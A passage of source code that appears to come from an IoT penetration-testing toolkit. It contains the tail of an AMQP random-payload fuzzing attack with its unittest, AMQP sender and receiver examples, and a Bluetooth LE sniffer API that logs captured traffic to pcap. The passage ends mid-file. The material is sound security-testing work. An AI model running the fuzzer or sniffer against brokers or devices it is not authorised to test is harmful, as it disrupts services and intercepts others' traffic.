type(returned_strings) == list: fuzzer_messages = [string.decode("utf-8") for string in returned_strings] else: fuzzer_messages = returned_strings.decode("utf-8") break except UnicodeDecodeError: continue # Check whether result is list or not if type(fuzzer_messages) == list: for message in fuzzer_messages: self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=message) # Increment sent message count self.sent_message_count += 1 else: self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=fuzzer_messages) # Increment sent message count self.sent_message_count += 1 time.sleep(1) self.logger.info("Turn {0} is completed".format(fuzzing + 1)) if self.stopped_flag is False: self.logger.info("Random payload fuzzing is finished.") if self.connection is not None: self.connection.close() class TestAMQPRandomPayloadAttack(unittest.TestCase): def setUp(self): self.amqp_random_payload_fuzzer = AMQPRandomPayloadFuzzingAttack() def tearDown(self): pass def test_name(self): self.assertEqual("AMQP Random Payload Fuzzing Attack", self.amqp_random_payload_fuzzer.get_attack_name()) def test_inputs(self): inputs = self.amqp_random_payload_fuzzer.get_inputs() self.assertIsNotNone(inputs) self.assertGreater(len(inputs), 0, "Non inserted inputs") self.assertEquals(len(inputs), 8) def test_non_initialized_inputs(self): inputs = self.amqp_random_payload_fuzzer.get_inputs() for _input in inputs: value = getattr(self.amqp_random_payload_fuzzer, _input.get_name()) self.assertTrue(value is None or type(value) == _input.get_type()) def test_after_getting_inputs(self): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 13, 12] for index, _input in enumerate(example_inputs): self.amqp_random_payload_fuzzer.inputs[index].set_value(_input) # Previously it should not be set self.assertIsNone(self.amqp_random_payload_fuzzer.connection) super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run() inputs = self.amqp_random_payload_fuzzer.get_inputs() for index, _input in enumerate(inputs): value = getattr(self.amqp_random_payload_fuzzer, _input.get_name()) self.assertEqual(example_inputs[index], value) def test_invalid_fuzzing_turn(self): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 1, 11] for index, _input in enumerate(example_inputs): self.amqp_random_payload_fuzzer.inputs[index].set_value(_input) super(AMQPRandomPayloadFuzzingAttack, self.amqp_random_payload_fuzzer).run() try: self.amqp_random_payload_fuzzer.pre_attack_init() except AssertionError as e: self.assertTrue(True) def test_random_payload_fuzzing_attack(self): def run_attack(): example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body", "direct", 5, 1] for index, _input in enumerate(example_inputs): self.amqp_random_payload_fuzzer.inputs[index].set_value(_input) try: self.amqp_random_payload_fuzzer.run() except Exception as e: self.assertTrue(False) print "* If server is not initialized this test will not execute properly." p = multiprocessing.Process(target=run_attack, name=self.amqp_random_payload_fuzzer.get_attack_name()) p.start() time.sleep(15) if p.is_alive(): p.terminate() p.join() if __name__ == '__main__': unittest.main() ================================================ FILE: src/protocols/AMQP/examples/__init__.py ================================================ """ This package contains the following functionalities: 1) AMQP Sender Example 2) AMQP Receiver Example """ ================================================ FILE: src/protocols/AMQP/examples/receiver_example.py ================================================ import pika import argparse import logging import signal import sys import time DEFAULT_BROKER_HOST = "localhost" DEFAULT_QUEUE_NAME = "peniot-queue" DEFAULT_EXCHANGE = "peniot-exchange" DEFAULT_ROUTING_KEY = "peniot-routing-key" DEFAULT_BODY = "peniot-body" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("AMQP Receiver Example") global_connection = None """ AMQP Example Receiver """ def signal_handler(sig, frame): global global_connection logger.info("Connection will be closed") if global_connection is not None: global_connection.close() sys.exit(0) def callback(ch, method, properties, body): logger.info("Received %r" % body) def receive_procedure(channel_to_receive, queue_name=DEFAULT_QUEUE_NAME): """ Sending procedure for AMQP protocol :param channel_to_receive: Channel means which is created given host name :param queue_name: Queue from which consume message :return: None """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) # Start consuming channel_to_receive.basic_consume(callback, queue=queue_name, no_ack=True) channel_to_receive.start_consuming() if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-q", "--queue", help="Queue name to subscribe", default=DEFAULT_QUEUE_NAME) parser.add_argument("-e", "--exchange", help="Name of exchange", default=DEFAULT_EXCHANGE) parser.add_argument("-r", "--routing_key", help="Routing key (endpoint)", default=DEFAULT_ROUTING_KEY) parser.add_argument("-c", "--content", help="Content of message body", default=DEFAULT_BODY) args = parser.parse_args() # Get connection and channel connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker)) global_connection = connection channel = connection.channel() channel.queue_bind(queue=args.queue, exchange=args.exchange, routing_key=args.routing_key) # Start sending procedure receive_procedure(channel, args.queue) ================================================ FILE: src/protocols/AMQP/examples/sender_example.py ================================================ import pika import argparse import logging import signal import sys import time DEFAULT_BROKER_HOST = "localhost" DEFAULT_QUEUE_NAME = "peniot-queue" DEFAULT_EXCHANGE = "peniot-exchange" DEFAULT_ROUTING_KEY = "peniot-routing-key" DEFAULT_BODY = "peniot-body" DEFAULT_EXCHANGE_TYPE = "direct" logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s") logger = logging.getLogger("AMQP Sender Example") global_connection = None """ AMQP Example Sender """ def signal_handler(sig, frame): global global_connection logger.info("Connection will be closed") if global_connection is not None: global_connection.close() sys.exit(0) def send_procedure(channel_to_send, exchange=DEFAULT_EXCHANGE, routing_key=DEFAULT_ROUTING_KEY, body=DEFAULT_BODY): """ Sending procedure for AMQP protocol :param channel_to_send: Channel means which is created given host name :param exchange: Name of exchange :param routing_key: Routing key which is similar to endpoint this context :param body: Body of messages :return: None """ # Signal handler to exit from function signal.signal(signal.SIGINT, signal_handler) publish_content = 0 while True: channel_to_send.basic_publish(exchange=exchange, routing_key=routing_key, body=body + " " + str(publish_content)) time.sleep(2) publish_content += 1 logger.info("Message {0} is published".format(publish_content)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument("-b", "--broker", help="Broker host name or IP address", default=DEFAULT_BROKER_HOST) parser.add_argument("-q", "--queue", help="Queue name to subscribe", default=DEFAULT_QUEUE_NAME) parser.add_argument("-e", "--exchange", help="Name of exchange", default=DEFAULT_EXCHANGE) parser.add_argument("-r", "--routing_key", help="Routing key (endpoint)", default=DEFAULT_ROUTING_KEY) parser.add_argument("-c", "--content", help="Content of message body", default=DEFAULT_BODY) parser.add_argument("-x", "--exchange_type", help="Type of exchange", default=DEFAULT_EXCHANGE_TYPE) args = parser.parse_args() # Get connection and channel connection = pika.BlockingConnection(pika.ConnectionParameters(host=args.broker)) global_connection = connection channel = connection.channel() # Create exchange channel.exchange_declare(exchange=args.exchange, exchange_type=DEFAULT_EXCHANGE_TYPE) # Define queue to store channel.queue_declare(queue=args.queue) # Start sending procedure send_procedure(channel, args.exchange, args.routing_key, args.content) ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/.gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *.pcap logs/ ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/API Manifest.txt ================================================ API Manifest.txt documentation.html example.py LICENSE.txt Nordic Semiconductor Sniffer API Guide.pdf sniffer_uart_protocol.xlsx wireshark_dissector_source packet-btle.c packet-nordic_ble.c SnifferAPI CaptureFiles.py Devices.py Exceptions.py Logger.py myVersion.py Notifications.py Packet.py Sniffer.py SnifferCollector.py UART.py Version.py __init__.py ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/LICENSE.txt ================================================ All files in this package is released under the license below, except the Wireshark dissector source files packet-nordic_ble.c and packet-btle.c. The Wireshark dissector source files are released under the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. = Copyright (c) 2014, Nordic Semiconductor ASA Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/README.md ================================================ # Python API for Bluefruit LE Sniffer This repository contains the Python API for Adafruit's Bluefruit LE Sniffer, and our easy to use API wrapper. It has been tested on the following platforms using Python 2.7: - OSX 10.10 - Windows 7 x64 - Ubuntu 14.04 ## Related Links Bluefruit LE Sniffer product page: https://www.adafruit.com/product/2269 Bluefruit LE Sniffer Learning Guide: https://learn.adafruit.com/introducing-the-adafruit-bluefruit-le-sniffer/introduction # Sniffer Python Wrapper Running sniffer.py in this folder on the Bluefruit LE Friend Sniffer Edition board will cause the device to scan for Bluetooth LE devices in range, and log any data from the selected device to a libpcap file (in `logs/capture.pcap`) that can be opened in Wireshark. The current example does not enable live streaming of data directly into Wireshark via named pipes since this would require a pre-compiled utility for each platform, but it should be possible to implement this on your platform if required. ## Using sniffer.py To use sniffer.py, simply specify the serial port where the sniffer can be found (ex. `COM14` on Windows, `/dev/tty.usbmodem1412311` on OS X, `/dev/ttyACM0` or Linux, etc.): ``` python sniffer.py /dev/tty.usbmodem1412311 ``` **Note:** You will need to run python with `sudo` on Linux to allow the log file to be created, so `sudo python sniffer.py /dev/ttyACM0`, etc.. This will create a new log file and start scanning for BLE devices, which should result in the following menu: ``` $ python sniffer.py /dev/tty.usbmodem1412311 Logging data to logs/capture.pcap Connecting to sniffer on /dev/tty.usbmodem1412311 Scanning for BLE devices (5s) ... Found 2 BLE devices: [1] "" (14:99:E2:05:29:CF, RSSI = -85) [2] "" (E7:0C:E1:BE:87:66, RSSI = -49) Select a device to sniff, or '0' to scan again > ``` Simply select the device you wish to sniff, and it will start logging traffic from the specified device. Type **CTRL+C** to stop sniffing and quit the application, closing the libpcap log file. **NOTE:** You may need to remove the sniffer and re-insert it before starting a new session if you see any unusual error messages running sniffer.py. ## Requirements This Python script was written and tested on **Python 2.7.6**, and will require that both Python 2.7 and **pySerial** are installed on your system. ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/CaptureFiles.py ================================================ from __future__ import absolute_import import time import os import logging from . import Logger LINKTYPE_BLUETOOTH_LE_LL = 251 LINKTYPE_NORDIC_BLE = 157 MAGIC_NUMBER = 0xa1b2c3d4 VERSION_MAJOR = 2 VERSION_MINOR = 4 THISZONE = 0 SIGFIGS = 0 SNAPLEN = 0xFFFF NETWORK = LINKTYPE_NORDIC_BLE globalHeaderString = [ ((MAGIC_NUMBER >> 0) & 0xFF), ((MAGIC_NUMBER >> 8) & 0xFF), ((MAGIC_NUMBER >> 16) & 0xFF), ((MAGIC_NUMBER >> 24) & 0xFF), ((VERSION_MAJOR >> 0) & 0xFF), ((VERSION_MAJOR >> 8) & 0xFF), ((VERSION_MINOR >> 0) & 0xFF), ((VERSION_MINOR >> 8) & 0xFF), ((THISZONE >> 0) & 0xFF), ((THISZONE >> 8) & 0xFF), ((THISZONE >> 16) & 0xFF), ((THISZONE >> 24) & 0xFF), ((SIGFIGS >> 0) & 0xFF), ((SIGFIGS >> 8) & 0xFF), ((SIGFIGS >> 16) & 0xFF), ((SIGFIGS >> 24) & 0xFF), ((SNAPLEN >> 0) & 0xFF), ((SNAPLEN >> 8) & 0xFF), ((SNAPLEN >> 16) & 0xFF), ((SNAPLEN >> 24) & 0xFF), ((NETWORK >> 0) & 0xFF), ((NETWORK >> 8) & 0xFF), ((NETWORK >> 16) & 0xFF), ((NETWORK >> 24) & 0xFF) ] captureFilePath = os.path.join(Logger.logFilePath, "capture.pcap") class CaptureFileHandler: def __init__(self, clear=False): self.filename = captureFilePath self.backupFilename = self.filename+".1" if not os.path.isfile(self.filename): self.startNewFile() elif os.path.getsize(self.filename) > 20000000: self.doRollover() if clear: # clear file self.startNewFile() def startNewFile(self): with open(self.filename, "wb") as f: f.write(bytearray(globalHeaderString)) def doRollover(self): try: os.remove(self.backupFilename) except: # noqa: E722 logging.exception("capture file rollover remove backup failed") try: os.rename(self.filename, self.backupFilename) self.startNewFile() except: # noqa: E722 logging.exception("capture file rollover failed") def readLine(self, lineNum): line = "" with open(self.filename, "r") as f: f.seek(lineNum) line = f.readline() return line def readAll(self): text = "" with open(self.filename, "r") as f: text = f.read() return text def writeString(self, msgString): with open(self.filename, "ab") as f: f.write(msgString) def writeList(self, msgList): self.writeString(bytearray(msgList)) def writePacketList(self, packetList): self.writeList(self.makePacketHeader(len(packetList)) + packetList) def writePacket(self, packet): self.writePacketList([packet.boardId] + packet.getList()) def makePacketHeader(self, length): timeNow = time.time() TS_SEC = int(timeNow) TS_USEC = int((timeNow-TS_SEC)*1000000) INCL_LENGTH = length ORIG_LENGTH = length headerString = [ ((TS_SEC >> 0) & 0xFF), ((TS_SEC >> 8) & 0xFF), ((TS_SEC >> 16) & 0xFF), ((TS_SEC >> 24) & 0xFF), ((TS_USEC >> 0) & 0xFF), ((TS_USEC >> 8) & 0xFF), ((TS_USEC >> 16) & 0xFF), ((TS_USEC >> 24) & 0xFF), ((INCL_LENGTH >> 0) & 0xFF), ((INCL_LENGTH >> 8) & 0xFF), ((INCL_LENGTH >> 16) & 0xFF), ((INCL_LENGTH >> 24) & 0xFF), ((ORIG_LENGTH >> 0) & 0xFF), ((ORIG_LENGTH >> 8) & 0xFF), ((ORIG_LENGTH >> 16) & 0xFF), ((ORIG_LENGTH >> 24) & 0xFF) ] return headerString def toList(myString): myList = [] for c in myString: myList += [ord(c)] return myList ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Devices.py ================================================ from __future__ import absolute_import from . import Notifications import logging class DeviceList(Notifications.Notifier): def __init__(self, *args, **kwargs): Notifications.Notifier.__init__(self, *args, **kwargs) logging.info("args: " + str(args)) logging.info("kwargs: " + str(kwargs)) self.devices = [] def __len__(self): return len(self.devices) def __repr__(self): return "Sniffer Device List: "+str(self.asList()) def clear(self): self.devices = [] def appendOrUpdate(self, newDevice): existingDevice = self.find(newDevice) # logging.info("appendOrUpdate") # Add device to the list of devices being displayed, but only if CRC is OK if existingDevice is None: self.append(newDevice) else: updated = False if (newDevice.name != "") and (existingDevice.name == ""): existingDevice.name = newDevice.name updated = True if (newDevice.RSSI < (newDevice.RSSI - 5)) or (existingDevice.RSSI > (newDevice.RSSI+2)): # noqa: E501 existingDevice.RSSI = newDevice.RSSI updated = True if updated: self.notify("DEVICE_UPDATED", existingDevice) # self.updateDeviceDisplay() def append(self, device): self.devices.append(device) self.notify("DEVICE_ADDED", device) def find(self, id): # logging.info("find type: %s" % str(id.__class__.__name__)) if type(id) == list: for dev in self.devices: if dev.address == id: return dev elif type(id) == int: return self.devices[id] elif type(id) == str: for dev in self.devices: if dev.name in [id, '"'+id+'"']: return dev elif id.__class__.__name__ == "Device": # logging.info("find Device") return self.find(id.address) return None def remove(self, id): if type(id) == list: # address device = self.devices.pop(self.devices.index(self.find(id))) elif type(id) == int: device = self.devices.pop(id) elif type(id) == Device: device = self.devices.pop(self.devices.index(self.find(id.address))) self.notify("DEVICE_REMOVED", device) # self.updateDeviceDisplay() # def getSelected(self): # for dev in self.devices: # if dev.selected: # return dev # if len(self.devices) == 1: # self.devices[0].selected = True # else: # return None def index(self, device): index = 0 for dev in self.devices: if dev.address == device.address: return index index += 1 return None # def setSelected(self, device): # if device in self.devices: # for dev in self.devices: # dev.selected = False # device.selected = True # self.notify("DEVICE_SELECTED", device) def setFollowed(self, device): if device in self.devices: for dev in self.devices: dev.followed = False device.followed = True self.notify("DEVICE_FOLLOWED", device) # def incrementSelected(self, step = 1): # if len(self.devices) > 0: # self.setSelected(self.find((self.index(self.getSelected())+step)%len(self.devices))) def asList(self): return self.devices[:] class Device: def __init__(self, address, name, RSSI, txAdd=1): self.address = address self.txAdd = txAdd self.name = name self.RSSI = RSSI # self.selected = selected self.followed = False ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Exceptions.py ================================================ class SnifferTimeout(Exception): pass class UARTPacketError(Exception): pass class InvalidPacketException(Exception): pass # Internal Use class SnifferWatchDogTimeout(SnifferTimeout): pass # Internal Use class ExitCodeException(Exception): pass ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Logger.py ================================================ from __future__ import absolute_import from __future__ import print_function import time import os import logging import traceback import threading import logging.handlers as logHandlers from six.moves import range ################################################################# # This file contains the logger. To log a line, simply write # # 'logging.[level]("whatever you want to log")' # # [level] is one of {info, debug, warning, error, critical, # # exception} # # See python logging documentation # # As long as Logger.initLogger has been called beforehand, this # # will result in the line being appended to the log file # ################################################################# try: logFilePath = os.path.join( os.getenv('appdata'), 'Nordic Semiconductor', 'Sniffer', 'logs') except AttributeError: logFilePath = "logs" logFileName = os.path.join(logFilePath, 'log.txt') logHandler = None logFlusher = None myMaxBytes = 1000000 # Ensure that the directory we are writing the log file to exists. # Create our logfile, and write the timestamp in the first line. def initLogger(): try: # First, make sure that the directory exists if not os.path.isdir(logFilePath): os.makedirs(logFilePath) # If the file does not exist, create it, and save the timestamp if not os.path.isfile(logFileName): with open(logFileName, "wb") as f: f.write('{0}{1}'.format(time.time(), os.linesep).encode()) global logHandler global logFlusher logHandler = MyRotatingFileHandler( logFileName, mode='a', maxBytes=myMaxBytes, backupCount=3) logFormatter = logging.Formatter( '%(asctime)s %(levelname)s: %(message)s', datefmt='%d-%b-%Y %H:%M:%S (%z)') logHandler.setFormatter(logFormatter) logger = logging.getLogger() logger.addHandler(logHandler) logger.setLevel(logging.INFO) logFlusher = LogFlusher(logHandler) except: # noqa: 722 print("LOGGING FAILED") print(traceback.format_exc()) raise def shutdownLogger(): logging.shutdown() # Clear the log (typically after it has been sent on email) def clearLog(): try: logHandler.doRollover() except: # noqa: 722 print("LOGGING FAILED") raise # Returns the timestamp residing on the first line of the logfile. # Used for checking the time of creation def getTimestamp(): try: with open(logFileName, "r") as f: f.seek(0) return f.readline() except: # noqa: 722 print("LOGGING FAILED") def addTimestamp(): try: with open(logFileName, "a") as f: f.write(str(time.time()) + os.linesep) except: # noqa: 722 print("LOGGING FAILED") # Returns the entire content of the logfile. Used when sending emails def readAll(): try: text = "" with open(logFileName, "r") as f: text = f.read() return text except: # noqa: 722 print("LOGGING FAILED") class MyRotatingFileHandler(logHandlers.RotatingFileHandler): def doRollover(self): try: logHandlers.RotatingFileHandler.doRollover(self) addTimestamp() self.maxBytes = myMaxBytes except: # noqa: 722 # There have been permissions issues with the log files. self.maxBytes += int(myMaxBytes/2) # logging.exception("log rollover error") class LogFlusher(threading.Thread): def __init__(self, logHandler): threading.Thread.__init__(self) self.daemon = True self.handler = logHandler self.exit = False self.start() def run(self): while not self.exit: time.sleep(10) self.doFlush() def doFlush(self): self.handler.flush() os.fsync(self.handler.stream.fileno()) def stop(self): self.exit = True if __name__ == '__main__': initLogger() for i in range(50): logging.info("test log no. "+str(i)) print("test log no. ", i) ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Notifications.py ================================================ from __future__ import absolute_import import threading class Notification(): def __init__(self, key, msg=None): if type(key) is not str: raise TypeError("Invalid notification key: "+str(key)) self.key = key self.msg = msg def __repr__(self): return "Notification (key: %s, msg: %s)" % (str(self.key), str(self.msg)) class Notifier(): def __init__(self, callbacks=[]): self.callbacks = {} self.callbackLock = threading.RLock() # logging.info("callbacks: "+ str(callbacks)) for callback in callbacks: self.subscribe(*callback) # logging.info(self.callbacks) def subscribe(self, key, callback): with self.callbackLock: if callback not in self.getCallbacks(key): self.getCallbacks(key).append(callback) def getCallbacks(self, key): with self.callbackLock: # logging.info(self.callbacks) if key not in self.callbacks: self.callbacks[key] = [] return self.callbacks[key] def notify(self, key=None, msg=None, notification=None): # logging.info(self.callbacks) with self.callbackLock: if notification is None: notification = Notification(key, msg) for callback in self.getCallbacks(notification.key): callback(notification) for callback in self.getCallbacks("*"): callback(notification) # logging.info("sending notification: %s" % str(notification)) def passOnNotification(self, notification): self.notify(notification=notification) ================================================ FILE: src/protocols/BLE/Adafruit_BLESniffer/SnifferAPI/Packet.py ================================================ from __future__ import absolute_import from . import UART, Exceptions, Notifications import time import logging import os import sys import serial from six.moves import range SLIP_START = 0xAB SLIP_END = 0xBC SLIP_ESC = 0xCD SLIP_ESC_START = SLIP_START+1 SLIP_ESC_END = SLIP_END+1 SLIP_ESC_ESC = SLIP_ESC+1 REQ_FOLLOW = 0x00 RESP_FOLLOW = 0x01 EVENT_DEVICE = 0x02 REQ_SINGLE_PACKET = 0x03 RESP_SINGLE_PACKET = 0x04 EVENT_CONNECT = 0x05 EVENT_PACKET = 0x06 REQ_SCAN_CONT = 0x07 RESP_SCAN_CONT = 0x08 EVENT_DISCONNECT = 0x09 EVENT_ERROR = 0x0A EVENT_EMPTY_DATA_PACKET = 0x0B SET_TEMPORARY_KEY = 0x0C PING_REQ = 0x0D PING_RESP = 0x0E TEST_COMMAND_ID = 0x0F TEST_RESULT_ID = 0x10 UART_TEST_START = 0x11 UART_DUMMY_PACKET = 0x12 SWITCH_BAUD_RATE_REQ = 0x13 SWITCH_BAUD_RATE_RESP = 0x14 UART_OUT_START = 0x15 UART_OUT_STOP = 0x16 SET_ADV_CHANNEL_HOP_SEQ = 0x17 GO_IDLE = 0xFE ADV_ACCESS_ADDRESS = [0xD6, 0xBE, 0x89, 0x8E] SYNCWORD_POS = 0 HEADER_LEN_POS = 0 PAYLOAD_LEN_POS = HEADER_LEN_POS+1 PROTOVER_POS = PAYLOAD_LEN_POS+1 PACKETCOUNTER_POS = PROTOVER_POS+1 ID_POS = PACKETCOUNTER_POS+2 BLE_HEADER_LEN_POS = ID_POS+1 FLAGS_POS = BLE_HEADER_LEN_POS+1 CHANNEL_POS = FLAGS_POS+1 RSSI_POS = CHANNEL_POS+1 EVENTCOUNTER_POS = RSSI_POS+1 TIMESTAMP_POS = EVENTCOUNTER_POS+2 BLEPACKET_POS = TIMESTAMP_POS+4 TXADD_POS = BLEPACKET_POS + 4 TXADD_MSK = 0x40 PAYLOAD_POS = BLE_HEADER_LEN_POS HEADER_LENGTH = 6 BLE_HEADER_LENGTH = 10 PROTOVER = 1 ADV_TYPE_ADV_IND = 0x0 ADV_TYPE_ADV_DIRECT_IND = 0x1 ADV_TYPE_ADV_NONCONN_IND = 0x2 ADV_TYPE_ADV_DISCOVER_IND = 0x6 ADV_TYPE_SCAN_REQ = 0x3 ADV_TYPE_SCAN_RSP = 0x4 ADV_TYPE_CONNECT_REQ = 0x5 VALID_ADV_CHANS = [37, 38, 39] class PacketReader(Notifications.Notifier): def __init__(self, portnum=None, callbacks=[]): Notifications.Notifier.__init__(self, callbacks) self.portnum = portnum self.exit = False try: self.uart = UART.Uart(portnum) except serial.SerialException as e: logging.exception("Error opening UART.") self.uart = UART.Uart() self.packetCounter = 0 self.lastReceivedPacketCounter = 0 self.lastReceivedPacket = None # self.states = {} def setup(self): self.findSerialPort() self.uart.ser.port = self.portnum self.uart.ser.open def doExit(self): self.exit = True if self.uart.ser is not None: self.uart.ser.close() # This function takes a byte list, encode it in SLIP protocol and return the encoded byte list def encodeToSLIP(self, byteList): tempSLIPBuffer = [] tempSLIPBuffer.append(SLIP_START) for i in byteList: if i == SLIP_START: tempSLIPBuffer.append(SLIP_ESC) tempSLIPBuffer.append(SLIP_ESC_START) elif i == SLIP_END: tempSLIPBuffer.append(SLIP_ESC) tempSLIPBuffer.append(SLIP_ESC_END) elif i == SLIP_ESC: tempSLIPBuffer.append(SLIP_ESC) tempSLIPBuffer.append(SLIP_ESC_ESC) else: tempSLIPBuffer.append(i) tempSLIPBuffer.append(SLIP_END) return tempSLIPBuffer # This function uses getSerialByte() function to get SLIP encoded bytes from the serial port # and return a decoded byte list # Based on https://github.com/mehdix/pyslip/ def decodeFromSLIP(self, timeout=None): dataBuffer = [] startOfPacket = False endOfPacket = False while not startOfPacket: startOfPacket = (self.getSerialByte(timeout) == SLIP_START) while not endOfPacket: serialByte = self.getSerialByte(timeout) if serialByte == SLIP_END: endOfPacket = True elif serialByte == SLIP_ESC: serialByte = self.getSerialByte() if serialByte == SLIP_ESC_START: dataBuffer.append(SLIP_START) elif serialByte == SLIP_ESC_END: dataBuffer.append(SLIP_END) elif serialByte == SLIP_ESC_ESC: dataBuffer.append(SLIP_ESC) else: raise Exceptions.UARTPacketError( "Unexpected character after SLIP_ESC: %d." % serialByte) else: dataBuffer.append(serialByte) return dataBuffer # This function read byte chuncks from the serial port and return one byte at a time # Based on https://github.com/mehdix/pyslip/ def getSerialByte(self, timeout=None): serialByte = self.uart.readByte(timeout) if len(serialByte) != 1: raise Exceptions.SnifferTimeout("Packet read timed out.") return ord(serialByte) def handlePacketHistory(self, packet): # Reads and validates packet counter if self.lastReceivedPacket and ( packet.packetCounter != (self.lastReceivedPacket.packetCounter+1)) and ( self.lastReceivedPacket.packetCounter != 0): logging.info("gap in packets, between {} and {}. packet before: {}, packet after: {}" .format( self.lastReceivedPacket.packetCounter, str(packet.packetCounter), str(self.lastReceivedPacket.packetList), str(packet.packetList) )) self.lastReceivedPacket = packet def getPacket(self, timeout=None): packetList = [] try: packetList = self.decodeFromSLIP(timeout) except Exceptions.UARTPacketError: logging.exception("") return None else: packet = Packet(packetList) if packet.valid: self.handlePacketHistory(packet) return packet def useByteQueue(self, useByteQueue=True): self.uart.useByteQueue = useByteQueue def getByteQueue(self): return self.uart.byteQueue def sendPacket(self, id, payload, timeout=None): packetList = [HEADER_LENGTH] + [len(payload)] + [PROTOVER] + \ toLittleEndian(self.packetCounter, 2) + [id] + payload pkt = self.encodeToSLIP(packetList) self.packetCounter += 1 self.uart.writeList(pkt, timeout) def sendScan(self, timeout=None): self.sendPacket(REQ_SCAN_CONT, [], timeout) def sendFollow(self, addr, txAdd=1, followOnlyAdvertisements=False, timeout=None): # TxAdd is a single byte (0 or 1) so we just append it to the address. # addr.append(txAdd) self.sendPacket(REQ_FOLLOW, addr+[followOnlyAdvertisements], timeout) def sendPingReq(self, timeout=1): self.sendPacket(PING_REQ, [], timeout) def sendTK(self, TK, timeout=None): if (len(TK) < 16): TK = [0] * (16-len(TK)) + TK else: TK = TK[:16] self.sendPacket(SET_TEMPORARY_KEY, TK, timeout) logging.info("Sent key value to sniffer: "+str(TK)) self.notify("TK_SENT", {"TK": TK}) return TK def sendSwitchBaudRate(self, newBaudRate, timeout=None): self.sendPacket(SWITCH_BAUD_RATE_REQ, toLittleEndian(newBaudRate, 4), timeout) def switchBaudRate(self, newBaudRate): self.uart.switchBaudRate(newBaudRate) def sendHopSequence(self, hopSequence): for chan in hopSequence: if chan not in VALID_ADV_CHANS: raise Exceptions.InvalidAdvChannel("%s is not an adv channel" % str(chan)) payload = [len(hopSequence)] + hopSequence + [37]*(3-len(hopSequence)) self.sendPacket(SET_ADV_CHANNEL_HOP_SEQ, payload) self.notify("NEW_ADV_HOP_SEQ", {"hopSequence": hopSequence}) def sendGoIdle(self, timeout=None): self.sendPacket(GO_IDLE, [], timeout) def findSerialPort(self): foundPort = False iPort = 0 # To avoid COM1 (iPort=0). nTicks = 0 trials = 10 # comports = self.findSeggerComPorts().keys() if self.portnum is not None: self.notify("INFO_PRESET") else: self.notify("INFO_NO_PRESET") readTimeout = 1 iPort = self.portnum if self.portnum is not None else 1 while not foundPort and not self.exit: try: self.uart.ser.port = iPort try: self.uart.ser.open() except: pass self.sendPingReq() startTime = time.time() continueLoop = True packetCounter = 0 while continueLoop and (time.time() < (startTime+1)): packet = self.getPacket(timeout=readTimeout) if packet is None: continueLoop = False raise Exception("None packet") elif packet.id == 0x0E: continueLoop = False fwversion = packet.version self.portnum = self.uart.ser.portstr self.notify("COMPORT_FOUND", {"comPort": self.portnum}) self.fwversion = fwversion return else: packetCounter += 1 if continueLoop: raise Exception("No packet with correct id. Received " + str(packetCounter)+" packets.") except Exception as e: if "The system cannot find the file specified." not in str(e): # logging.exception("Error on COM"+str(iPort+1)+": "+str(e)) logging.info("Error on port " + str(iPort) + ". file: " + os.path.basename(sys.exc_info()[2].tb_frame.f_code.co_filename) + ", line " + str(sys.exc_info()[2].tb_lineno) + ": "+str(e)) # logging.exception("error") trials = trials + 1 if (trials>9): self.doExit() #Try to open the port for some time, if can't just exit try: if self.uart.ser is not None: self.uart.ser.close() except: # noqa: E722 logging.exception("could not close UART") if self.portnum is None: if type(iPort) != int: iPort = 0 iPort += 1 iPort = (iPort % 256) if self.portnum is not None or (iPort % 64) == 0: nTicks += 1 self.notify("DEVICE_DISCOVERY_TICK", {"tickNumber": nTicks}) if readTimeout < 3: readTimeout += 0.1 # logging.info("iPort: " +str(iPort)) # logging.info("self.portnum: " +str(self.portnum)) if self.portnum is not None: time.sleep(0.7) else: time.sleep(0.01) return (None, None) class Packet: def __init__(self, packetList): try: if packetList == []: raise Exceptions.InvalidPacketException( "packet list not valid: %s" % str(packetList)) self.packetList = packetList self.readStaticHeader(packetList) self.readDynamicHeader(packetList) self.readPayload(packetList) except Exceptions.InvalidPacketException as e: logging.error("Invalid packet: %s" % str(e)) self.OK = False self.valid = False except: # 